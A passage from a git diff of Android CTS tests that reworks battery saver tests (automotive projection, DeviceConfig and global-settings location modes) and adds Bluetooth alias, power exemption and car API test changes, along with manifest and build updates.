-        locationModeBroadcastAsserter.assertCalled("Broadcast not received",
-                DEFAULT_TIMEOUT_SECONDS);
-        locationModeObserverAsserter.assertCalled("Observer not notified",
-                DEFAULT_TIMEOUT_SECONDS);
-    }
-
-    /**
-     * Test for the {@link PowerManager#LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF} mode.
-     */
-    @Test
-    public void testLocationRequestThrottling() throws Exception {
-        mLocationManager.addTestProvider(TEST_PROVIDER_NAME,
-                true, //requiresNetwork,
-                false, // requiresSatellite,
-                false,  // requiresCell,
-                false, // hasMonetaryCost,
-                true, // supportsAltitude,
-                false, // supportsSpeed,
-                true, // supportsBearing,
-                Criteria.POWER_MEDIUM, // powerRequirement
-                Criteria.ACCURACY_FINE); // accuracy
-        mLocationManager.setTestProviderEnabled(TEST_PROVIDER_NAME, true);
-
-        LocationRequest normalLocationRequest = LocationRequest.create()
-                .setExpireIn(300_000)
-                .setFastestInterval(0)
-                .setInterval(0)
-                .setLocationSettingsIgnored(false)
-                .setProvider(TEST_PROVIDER_NAME)
-                .setQuality(LocationRequest.ACCURACY_FINE);
-        LocationRequest ignoreSettingsLocationRequest = LocationRequest.create()
-                .setExpireIn(300_000)
-                .setFastestInterval(0)
-                .setInterval(0)
-                .setLocationSettingsIgnored(true)
-                .setProvider(TEST_PROVIDER_NAME)
-                .setQuality(LocationRequest.ACCURACY_FINE);
-        mLocationManager.requestLocationUpdates(
-                normalLocationRequest, new TestLocationListener(), Looper.getMainLooper());
-        mLocationManager.requestLocationUpdates(
-                ignoreSettingsLocationRequest, new TestLocationListener(), Looper.getMainLooper());
-        assertTrue("Not enough requests sent to provider",
-                mLocationManager.getTestProviderCurrentRequests(TEST_PROVIDER_NAME).size() >= 2);
-        assertFalse("Normal priority requests not sent to provider",
-                areOnlyIgnoreSettingsRequestsSentToProvider());
-
-        assertTrue("Screen is off", getPowerManager().isInteractive());
-
-        SettingsUtils.set(SettingsUtils.NAMESPACE_GLOBAL, BATTERY_SAVER_CONSTANTS, "gps_mode=4");
-        assertFalse(getPowerManager().isPowerSaveMode());
-        assertEquals(PowerManager.LOCATION_MODE_NO_CHANGE,
-                getPowerManager().getLocationPowerSaveMode());
-
-        // Make sure location is enabled.
-        getLocationManager().setLocationEnabledForUser(true, Process.myUserHandle());
-        assertTrue(getLocationManager().isLocationEnabled());
-
-        // Unplug the charger and activate battery saver.
-        runDumpsysBatteryUnplug();
-        enableBatterySaver(true);
-
-        // Skip if the location mode is not what's expected.
-        final int mode = getPowerManager().getLocationPowerSaveMode();
-        if (mode != PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF) {
-            fail("Unexpected location power save mode (" + mode + "), skipping.");
-        }
-
-        // Make sure screen is on.
-        assertTrue(getPowerManager().isInteractive());
-
-        // Make sure location is still enabled.
-        assertTrue(getLocationManager().isLocationEnabled());
-
-        // Turn screen off.
-        turnOnScreen(false);
-        waitUntil("Normal location request still sent to provider",
-                this::areOnlyIgnoreSettingsRequestsSentToProvider);
-        assertTrue("Not enough requests sent to provider",
-                mLocationManager.getTestProviderCurrentRequests(TEST_PROVIDER_NAME).size() >= 1);
-
-        // On again.
-        turnOnScreen(true);
-        waitUntil("Normal location request not sent to provider",
-                () -> !areOnlyIgnoreSettingsRequestsSentToProvider());
-        assertTrue("Not enough requests sent to provider",
-                mLocationManager.getTestProviderCurrentRequests(TEST_PROVIDER_NAME).size() >= 2);
-
-        // Off again.
-        turnOnScreen(false);
-        waitUntil("Normal location request still sent to provider",
-                this::areOnlyIgnoreSettingsRequestsSentToProvider);
-        assertTrue("Not enough requests sent to provider",
-                mLocationManager.getTestProviderCurrentRequests(TEST_PROVIDER_NAME).size() >= 1);
-
-
-        // Disable battery saver and make sure the kill switch is off.
-        enableBatterySaver(false);
-        waitUntil("Normal location request not sent to provider",
-                () -> !areOnlyIgnoreSettingsRequestsSentToProvider());
-        assertTrue("Not enough requests sent to provider",
-                mLocationManager.getTestProviderCurrentRequests(TEST_PROVIDER_NAME).size() >= 2);
-    }
-}
diff --git a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverTest.java b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverTest.java
index bb50071..2b35684 100644
--- a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverTest.java
+++ b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverTest.java
@@ -18,6 +18,7 @@
 import static com.android.compatibility.common.util.BatteryUtils.enableBatterySaver;
 import static com.android.compatibility.common.util.BatteryUtils.runDumpsysBatteryUnplug;
 import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
 import static com.android.compatibility.common.util.TestUtils.waitUntil;
 
 import static junit.framework.Assert.fail;
@@ -26,31 +27,42 @@
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 
+import android.Manifest;
 import android.app.UiModeManager;
 import android.content.res.Configuration;
 import android.os.PowerManager;
+import android.provider.DeviceConfig;
 
 import androidx.test.filters.MediumTest;
 import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.BatteryUtils;
+import com.android.compatibility.common.util.DeviceConfigStateHelper;
 import com.android.compatibility.common.util.SettingsUtils;
-import com.android.compatibility.common.util.SystemUtil;
 
+import org.junit.After;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 /**
- * Tests related to battery saver:
+ * Tests related to battery saver.
  *
- * atest $ANDROID_BUILD_TOP/cts/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverTest.java
+ * atest CtsBatterySavingTestCases:BatterySaverTest
  */
 @MediumTest
 @RunWith(AndroidJUnit4.class)
 public class BatterySaverTest extends BatterySavingTestBase {
+    private DeviceConfigStateHelper mDeviceConfigStateHelper =
+            new DeviceConfigStateHelper(DeviceConfig.NAMESPACE_BATTERY_SAVER);
+
+    @After
+    public void tearDown() {
+        mDeviceConfigStateHelper.restoreOriginalValues();
+        SettingsUtils.delete(SettingsUtils.NAMESPACE_GLOBAL, "battery_saver_constants");
+    }
+
     /**
      * Enable battery saver and make sure the relevant components get notifed.
-     * @throws Exception
      */
     @Test
     public void testActivateBatterySaver() throws Exception {
@@ -82,14 +94,15 @@
     }
 
     @Test
-    public void testSetBatterySaver_powerManager() {
-        SystemUtil.runWithShellPermissionIdentity(() -> {
+    public void testSetBatterySaver_powerManager() throws Exception {
+        enableBatterySaver(false);
+
+        runWithShellPermissionIdentity(() -> {
             PowerManager manager = BatteryUtils.getPowerManager();
             assertFalse(manager.isPowerSaveMode());
 
             // Unplug the charger.
             runDumpsysBatteryUnplug();
-            Thread.sleep(1000);
             // Verify battery saver gets toggled.
             manager.setPowerSaveModeEnabled(true);
             assertTrue(manager.isPowerSaveMode());
@@ -99,9 +112,9 @@
         });
     }
 
-    /** Tests that Battery Saver exemptions activate when car mode is active. */
+    /** Tests that Battery Saver exemptions activate when automotive projection is active. */
     @Test
-    public void testCarModeExceptions() throws Exception {
+    public void testAutomotiveProjectionExceptions() throws Exception {
         final String nightModeText = runShellCommand("cmd uimode night");
         final String[] nightModeSplit = nightModeText.split(":");
         if (nightModeSplit.length != 2) {
@@ -110,7 +123,9 @@
         final String initialNightMode = nightModeSplit[1].trim();
         runShellCommand("cmd uimode night no");
         UiModeManager uiModeManager = getContext().getSystemService(UiModeManager.class);
-        uiModeManager.disableCarMode(0);
+        runWithShellPermissionIdentity(() ->
+                        uiModeManager.releaseProjection(UiModeManager.PROJECTION_TYPE_AUTOMOTIVE),
+                Manifest.permission.TOGGLE_AUTOMOTIVE_PROJECTION);
 
         final PowerManager powerManager = BatteryUtils.getPowerManager();
 
@@ -118,21 +133,26 @@
             runDumpsysBatteryUnplug();
 
             SettingsUtils.set(SettingsUtils.NAMESPACE_GLOBAL, "battery_saver_constants",
-                    "gps_mode=" + PowerManager.LOCATION_MODE_ALL_DISABLED_WHEN_SCREEN_OFF
-                    + ",enable_night_mode=true");
+                    "location_mode=" + PowerManager.LOCATION_MODE_ALL_DISABLED_WHEN_SCREEN_OFF
+                            + ",enable_night_mode=true");
 
             enableBatterySaver(true);
 
             assertTrue(powerManager.isPowerSaveMode());
-            assertEquals(PowerManager.LOCATION_MODE_ALL_DISABLED_WHEN_SCREEN_OFF,
-                    powerManager.getLocationPowerSaveMode());
+            // Updating based on the settings change may take some time.
+            waitUntil("Location mode didn't change to "
+                            + PowerManager.LOCATION_MODE_ALL_DISABLED_WHEN_SCREEN_OFF,
+                    () -> PowerManager.LOCATION_MODE_ALL_DISABLED_WHEN_SCREEN_OFF ==
+                            powerManager.getLocationPowerSaveMode());
             // UI change can take a while to propagate, so need to wait for this check.
             waitUntil("UI mode didn't change to " + Configuration.UI_MODE_NIGHT_YES,
                     () -> Configuration.UI_MODE_NIGHT_YES ==
                             (getContext().getResources().getConfiguration().uiMode
                                     & Configuration.UI_MODE_NIGHT_MASK));
 
-            uiModeManager.enableCarMode(0);
+            assertTrue(runWithShellPermissionIdentity(
+                    () -> uiModeManager.requestProjection(UiModeManager.PROJECTION_TYPE_AUTOMOTIVE),
+                    Manifest.permission.TOGGLE_AUTOMOTIVE_PROJECTION));
 
             // Wait for UI change first before checking location mode since we can then be
             // confident that the broadcast has been processed.
@@ -140,12 +160,15 @@
                     () -> Configuration.UI_MODE_NIGHT_NO ==
                             (getContext().getResources().getConfiguration().uiMode
                                     & Configuration.UI_MODE_NIGHT_MASK));
+            // Check location mode after we know battery saver changes have propagated fully.
             final int locationPowerSaveMode = powerManager.getLocationPowerSaveMode();
             assertTrue("Location power save mode didn't change from " + locationPowerSaveMode,
                     locationPowerSaveMode == PowerManager.LOCATION_MODE_FOREGROUND_ONLY
                             || locationPowerSaveMode == PowerManager.LOCATION_MODE_NO_CHANGE);
 
-            uiModeManager.disableCarMode(0);
+            assertTrue(runWithShellPermissionIdentity(
+                    () -> uiModeManager.releaseProjection(UiModeManager.PROJECTION_TYPE_AUTOMOTIVE),
+                    Manifest.permission.TOGGLE_AUTOMOTIVE_PROJECTION));
 
             // Wait for UI change first before checking location mode since we can then be
             // confident that the broadcast has been processed.
@@ -153,12 +176,107 @@
                     () -> Configuration.UI_MODE_NIGHT_YES ==
                             (getContext().getResources().getConfiguration().uiMode
                                     & Configuration.UI_MODE_NIGHT_MASK));
+            // Check location mode after we know battery saver changes have propagated fully.
             assertEquals(PowerManager.LOCATION_MODE_ALL_DISABLED_WHEN_SCREEN_OFF,
-                powerManager.getLocationPowerSaveMode());
+                    powerManager.getLocationPowerSaveMode());
         } finally {
-            uiModeManager.disableCarMode(0);
+            runWithShellPermissionIdentity(
+                    () -> uiModeManager.releaseProjection(UiModeManager.PROJECTION_TYPE_AUTOMOTIVE),
+                    Manifest.permission.TOGGLE_AUTOMOTIVE_PROJECTION);
+
             runShellCommand("cmd uimode night " + initialNightMode);
             SettingsUtils.delete(SettingsUtils.NAMESPACE_GLOBAL, "battery_saver_constants");
         }
     }
+
+    @Test
+    public void testGlobalSettings() throws Exception {
+        runDumpsysBatteryUnplug();
+        enableBatterySaver(true);
+        final PowerManager powerManager = BatteryUtils.getPowerManager();
+
+        SettingsUtils.set(SettingsUtils.NAMESPACE_GLOBAL, "battery_saver_constants",
+                "location_mode=" + PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF
+                        + ",enable_night_mode=true");
+        assertTrue(powerManager.isPowerSaveMode());
+        // Updating based on the settings change may take some time.
+        waitUntil("Location mode didn't change to "
+                        + PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF,
+                () -> PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF ==
+                        powerManager.getLocationPowerSaveMode());
+        // UI change can take a while to propagate, so need to wait for this check.
+        waitUntil("UI mode didn't change to " + Configuration.UI_MODE_NIGHT_YES,
+                () -> Configuration.UI_MODE_NIGHT_YES ==
+                        (getContext().getResources().getConfiguration().uiMode
+                                & Configuration.UI_MODE_NIGHT_MASK));
+    }
+
+    @Test
+    public void testDeviceConfig() throws Exception {
+        runDumpsysBatteryUnplug();
+        enableBatterySaver(true);
+        final PowerManager powerManager = BatteryUtils.getPowerManager();
+
+        mDeviceConfigStateHelper.set("location_mode",
+                String.valueOf(PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF));
+        mDeviceConfigStateHelper.set("enable_night_mode", "true");
+
+        assertTrue(powerManager.isPowerSaveMode());
+        // Updating based on DeviceConfig change may take some time.
+        waitUntil("Location mode didn't change to "
+                        + PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF,
+                () -> PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF ==
+                        powerManager.getLocationPowerSaveMode());
+        // UI change can take a while to propagate, so need to wait for this check.
+        waitUntil("UI mode didn't change to " + Configuration.UI_MODE_NIGHT_YES,
+                () -> Configuration.UI_MODE_NIGHT_YES ==
+                        (getContext().getResources().getConfiguration().uiMode
+                                & Configuration.UI_MODE_NIGHT_MASK));
+    }
+
+    @Test
+    public void testGlobalSettingsOverridesDeviceConfig() throws Exception {
+        runDumpsysBatteryUnplug();
+        enableBatterySaver(true);
+        final PowerManager powerManager = BatteryUtils.getPowerManager();
+
+        mDeviceConfigStateHelper.set("location_mode",
+                String.valueOf(PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF));
+        mDeviceConfigStateHelper.set("enable_night_mode", "true");
+
+        assertTrue(powerManager.isPowerSaveMode());
+        // Updating constants may take some time.
+        waitUntil("Location mode didn't change to "
+                        + PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF,
+                () -> PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF ==
+                        powerManager.getLocationPowerSaveMode());
+        // UI change can take a while to propagate, so need to wait for this check.
+        waitUntil("UI mode didn't change to " + Configuration.UI_MODE_NIGHT_YES,
+                () -> Configuration.UI_MODE_NIGHT_YES ==
+                        (getContext().getResources().getConfiguration().uiMode
+                                & Configuration.UI_MODE_NIGHT_MASK));
+
+        SettingsUtils.set(SettingsUtils.NAMESPACE_GLOBAL, "battery_saver_constants",
+                "location_mode=" + PowerManager.LOCATION_MODE_FOREGROUND_ONLY
+                        + ",enable_night_mode=false");
+        waitUntil("UI mode didn't change to " + Configuration.UI_MODE_NIGHT_NO,
+                () -> Configuration.UI_MODE_NIGHT_NO ==
+                        (getContext().getResources().getConfiguration().uiMode
+                                & Configuration.UI_MODE_NIGHT_MASK));
+        // Updating constants may take some time.
+        waitUntil("Location mode didn't change to " + PowerManager.LOCATION_MODE_FOREGROUND_ONLY,
+                () -> PowerManager.LOCATION_MODE_FOREGROUND_ONLY ==
+                        powerManager.getLocationPowerSaveMode());
+
+        SettingsUtils.delete(SettingsUtils.NAMESPACE_GLOBAL, "battery_saver_constants");
+        waitUntil("UI mode didn't change to " + Configuration.UI_MODE_NIGHT_YES,
+                () -> Configuration.UI_MODE_NIGHT_YES ==
+                        (getContext().getResources().getConfiguration().uiMode
+                                & Configuration.UI_MODE_NIGHT_MASK));
+        // Updating constants may take some time.
+        waitUntil("Location mode didn't change to "
+                        + PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF,
+                () -> PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF ==
+                        powerManager.getLocationPowerSaveMode());
+    }
 }
diff --git a/tests/tests/batterysaving/src/android/os/cts/powerexemption/PowerExemptionTest.java b/tests/tests/batterysaving/src/android/os/cts/powerexemption/PowerExemptionTest.java
new file mode 100644
index 0000000..c5a73ed
--- /dev/null
+++ b/tests/tests/batterysaving/src/android/os/cts/powerexemption/PowerExemptionTest.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts.powerexemption;
+
+
+import static org.junit.Assert.assertNotNull;
+
+import android.content.Context;
+import android.os.PowerExemptionManager;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class PowerExemptionTest {
+
+    @Test
+    public void testPowerExemptionManager_WithClass() {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        assertNotNull(context.getSystemService(PowerExemptionManager.class));
+    }
+
+    @Test
+    public void testPowerExemptionManager_WithContextString() {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        assertNotNull(context.getSystemService(Context.POWER_EXEMPTION_SERVICE));
+    }
+}
diff --git a/tests/tests/bluetooth/Android.bp b/tests/tests/bluetooth/Android.bp
index 8ce7efb..ee27a18 100644
--- a/tests/tests/bluetooth/Android.bp
+++ b/tests/tests/bluetooth/Android.bp
@@ -22,13 +22,15 @@
     static_libs: [
         "ctstestrunner-axt",
         "bluetooth-test-util-lib",
+        "compatibility-device-util-axt",
     ],
     libs: [
         "android.test.runner",
         "android.test.base",
     ],
     srcs: ["src/**/*.java"],
-    sdk_version: "current",
+    // Allows access to system apis
+    platform_apis: true,
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
diff --git a/tests/tests/bluetooth/AndroidManifest.xml b/tests/tests/bluetooth/AndroidManifest.xml
index 24cd01b..7b702d7 100644
--- a/tests/tests/bluetooth/AndroidManifest.xml
+++ b/tests/tests/bluetooth/AndroidManifest.xml
@@ -19,6 +19,9 @@
 
     <uses-permission android:name="android.permission.BLUETOOTH" />
     <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" />
+    <uses-permission android:name="android.permission.BLUETOOTH_ADVERTISE"/>
+    <uses-permission android:name="android.permission.BLUETOOTH_CONNECT"/>
+    <uses-permission android:name="android.permission.BLUETOOTH_SCAN"/>
     <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
     <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
     <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
diff --git a/tests/tests/bluetooth/TEST_MAPPING b/tests/tests/bluetooth/TEST_MAPPING
new file mode 100644
index 0000000..f349b92
--- /dev/null
+++ b/tests/tests/bluetooth/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsBluetoothTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothDeviceTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothDeviceTest.java
new file mode 100644
index 0000000..46fa24c
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothDeviceTest.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothDevice;
+import android.bluetooth.BluetoothManager;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.test.AndroidTestCase;
+
+public class BluetoothDeviceTest extends AndroidTestCase {
+
+    private boolean mHasBluetooth;
+    private BluetoothAdapter mAdapter;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        mHasBluetooth = getContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_BLUETOOTH);
+
+        if (mHasBluetooth) {
+            BluetoothManager manager = getContext().getSystemService(BluetoothManager.class);
+            mAdapter = manager.getAdapter();
+            assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
+        }
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        super.tearDown();
+        if (mHasBluetooth) {
+            assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+            mAdapter = null;
+        }
+    }
+
+    public void test_setAlias_getAlias() {
+        if (!mHasBluetooth) {
+            // Skip the test if bluetooth is not present.
+            return;
+        }
+
+        int userId = mContext.getUser().getIdentifier();
+        String packageName = mContext.getOpPackageName();
+        String deviceAddress = "00:11:22:AA:BB:CC";
+
+        BluetoothDevice device = mAdapter.getRemoteDevice(deviceAddress);
+        // Verifies that when there is no alias, we return the device name
+        assertNull(device.getAlias());
+
+        String testDeviceAlias = "Test Device Alias";
+
+        // This should throw a SecurityException because there is no CDM association
+        try {
+            device.setAlias(testDeviceAlias);
+            fail("BluetoothDevice alias was able to be set without a CDM association without having"
+                    + "BLUETOOTH_PRIVILEGED permission");
+        } catch (SecurityException ex) {
+            assertNull(device.getAlias());
+        }
+
+        runShellCommand(String.format(
+                "cmd companiondevice associate %d %s %s", userId, packageName, deviceAddress));
+        String output = runShellCommand("dumpsys companiondevice");
+        assertTrue("Package name missing from output", output.contains(packageName));
+        assertTrue("Device address missing from output", output.contains(deviceAddress));
+        try {
+            Thread.sleep(1000);
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+
+        /*
+         * Device properties don't exist for non-existent BluetoothDevice, so calling setAlias with
+         * permissions should return false
+         */
+        assertFalse(device.setAlias(testDeviceAlias));
+        runShellCommand(String.format(
+                "cmd companiondevice disassociate %d %s %s", userId, packageName, deviceAddress));
+    }
+}
diff --git a/tests/tests/calendarcommon/TEST_MAPPING b/tests/tests/calendarcommon/TEST_MAPPING
new file mode 100644
index 0000000..0d71e66
--- /dev/null
+++ b/tests/tests/calendarcommon/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsCalendarcommon2TestCases"
+    }
+  ]
+}
diff --git a/tests/tests/calendarprovider/TEST_MAPPING b/tests/tests/calendarprovider/TEST_MAPPING
new file mode 100644
index 0000000..94417b5
--- /dev/null
+++ b/tests/tests/calendarprovider/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsCalendarProviderTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/car/Android.bp b/tests/tests/car/Android.bp
index c3e5890..56699e2 100644
--- a/tests/tests/car/Android.bp
+++ b/tests/tests/car/Android.bp
@@ -27,12 +27,16 @@
         // TODO: remove once Android migrates to JUnit 4.12,
         // which provides assertThrows
         "testng",
+        "libprotobuf-java-lite",
     ],
     libs: [
         "android.test.base",
         "android.car-test-stubs",
     ],
-    srcs: ["src/**/*.java"],
+    srcs: [
+        "src/**/*.java",
+        ":rotary-service-proto-source",
+    ],
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
diff --git a/tests/tests/car/AndroidManifest.xml b/tests/tests/car/AndroidManifest.xml
index 3894b0b..70e8b8a 100644
--- a/tests/tests/car/AndroidManifest.xml
+++ b/tests/tests/car/AndroidManifest.xml
@@ -17,16 +17,20 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.car.cts">
     <uses-feature android:name="android.hardware.type.automotive" />
+    <uses-permission android:name="android.car.permission.CAR_ENERGY" />
+    <uses-permission android:name="android.car.permission.CAR_ENERGY_PORTS" />
     <uses-permission android:name="android.car.permission.CAR_EXTERIOR_ENVIRONMENT" />
     <uses-permission android:name="android.car.permission.CAR_INFO" />
     <uses-permission android:name="android.car.permission.CAR_POWERTRAIN" />
     <uses-permission android:name="android.car.permission.CAR_SPEED" />
-    <uses-permission android:name="android.car.permission.CAR_ENERGY" />
-    <uses-permission android:name="android.car.permission.READ_CAR_DISPLAY_UNITS" />
     <uses-permission android:name="android.car.permission.CONTROL_CAR_DISPLAY_UNITS" />
-    <uses-permission android:name="android.car.permission.CAR_ENERGY_PORTS" />
+    <uses-permission android:name="android.car.permission.READ_CAR_DISPLAY_UNITS" />
+    <uses-permission android:name="android.car.permission.READ_CAR_POWER_POLICY" />
     <uses-permission android:name="android.permission.BLUETOOTH" />
     <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" />
+    <uses-permission android:name="android.permission.BLUETOOTH_ADVERTISE"/>
+    <uses-permission android:name="android.permission.BLUETOOTH_CONNECT"/>
+    <uses-permission android:name="android.permission.BLUETOOTH_SCAN"/>
     <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" />
     <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS_FULL" />
     <!-- Allow query of any normal app on the device -->
diff --git a/tests/tests/car/src/android/car/cts/CarApiTestBase.java b/tests/tests/car/src/android/car/cts/CarApiTestBase.java
index e5c343a..771978c 100644
--- a/tests/tests/car/src/android/car/cts/CarApiTestBase.java
+++ b/tests/tests/car/src/android/car/cts/CarApiTestBase.java
@@ -18,37 +18,33 @@
 
 import static org.junit.Assert.assertTrue;
 
+import android.app.UiAutomation;
 import android.car.Car;
 import android.car.FuelType;
 import android.car.PortLocationType;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.ServiceConnection;
-import android.content.pm.PackageManager;
 import android.os.IBinder;
 import android.os.Looper;
+import android.os.ParcelFileDescriptor;
 
 import androidx.test.platform.app.InstrumentationRegistry;
 
-import com.android.compatibility.common.util.RequiredFeatureRule;
-
 import org.junit.After;
-import org.junit.ClassRule;
 
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
 import java.util.Arrays;
 import java.util.List;
 import java.util.concurrent.Semaphore;
 import java.util.concurrent.TimeUnit;
 
 public abstract class CarApiTestBase {
-    @ClassRule
-    public static final RequiredFeatureRule sRequiredFeatureRule = new RequiredFeatureRule(
-            PackageManager.FEATURE_AUTOMOTIVE);
 
     protected static final long DEFAULT_WAIT_TIMEOUT_MS = 1000;
 
-    private Car mCar;
-
     // Enums in FuelType
     final static List<Integer> EXPECTED_FUEL_TYPES =
             Arrays.asList(FuelType.UNKNOWN, FuelType.UNLEADED, FuelType.LEADED, FuelType.DIESEL_1,
@@ -60,18 +56,19 @@
                     PortLocationType.FRONT_RIGHT, PortLocationType.REAR_RIGHT,
                     PortLocationType.REAR_LEFT, PortLocationType.FRONT, PortLocationType.REAR);
 
+    protected final Context mContext = InstrumentationRegistry.getInstrumentation().getContext();
+
     private final DefaultServiceConnectionListener mConnectionListener =
             new DefaultServiceConnectionListener();
 
-    protected static final Context sContext = InstrumentationRegistry.getInstrumentation()
-            .getContext();
+    private Car mCar;
 
     protected void assertMainThread() {
         assertTrue(Looper.getMainLooper().isCurrentThread());
     }
 
     protected void setUp() throws Exception {
-        mCar = Car.createCar(sContext);
+        mCar = Car.createCar(mContext);
     }
 
     @After
@@ -103,4 +100,38 @@
             mConnectionWait.release();
         }
     }
+
+    protected static String executeShellCommand(String commandFormat, Object... args)
+            throws IOException {
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        return executeShellCommand(uiAutomation, commandFormat, args);
+    }
+
+    protected static String executeShellCommandWithPermission(String permission,
+            String commandFormat, Object... args) throws IOException {
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        String result;
+        try {
+            uiAutomation.adoptShellPermissionIdentity(permission);
+            result = executeShellCommand(uiAutomation, commandFormat, args);
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
+        return result;
+    }
+
+    private static String executeShellCommand(UiAutomation uiAutomation, String commandFormat,
+            Object... args) throws IOException {
+        ParcelFileDescriptor stdout = uiAutomation.executeShellCommand(
+                String.format(commandFormat, args));
+        try (InputStream inputStream = new ParcelFileDescriptor.AutoCloseInputStream(stdout)) {
+            ByteArrayOutputStream result = new ByteArrayOutputStream();
+            byte[] buffer = new byte[1024];
+            int length;
+            while ((length = inputStream.read(buffer)) != -1) {
+                result.write(buffer, 0, length);
+            }
+            return result.toString("UTF-8");
+        }
+    }
 }
diff --git a/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java b/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
index e254bbc..df1fc6b 100644
--- a/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
@@ -13,6 +13,7 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
+
 package android.car.cts;
 
 import static android.car.CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION;
@@ -118,12 +119,72 @@
 
     @Test
     public void testRegisterUnregister() throws Exception {
-        FocusChangedListerner listener = new FocusChangedListerner();
-        FocusChangedListerner listener2 = new FocusChangedListerner();
-        mManager.addFocusListener(listener, 1);
-        mManager.addFocusListener(listener2, 1);
-        mManager.removeFocusListener(listener);
+        FocusChangedListener listener1 = new FocusChangedListener();
+        FocusChangedListener listener2 = new FocusChangedListener();
+
+        mManager.addFocusListener(listener1, APP_FOCUS_TYPE_NAVIGATION);
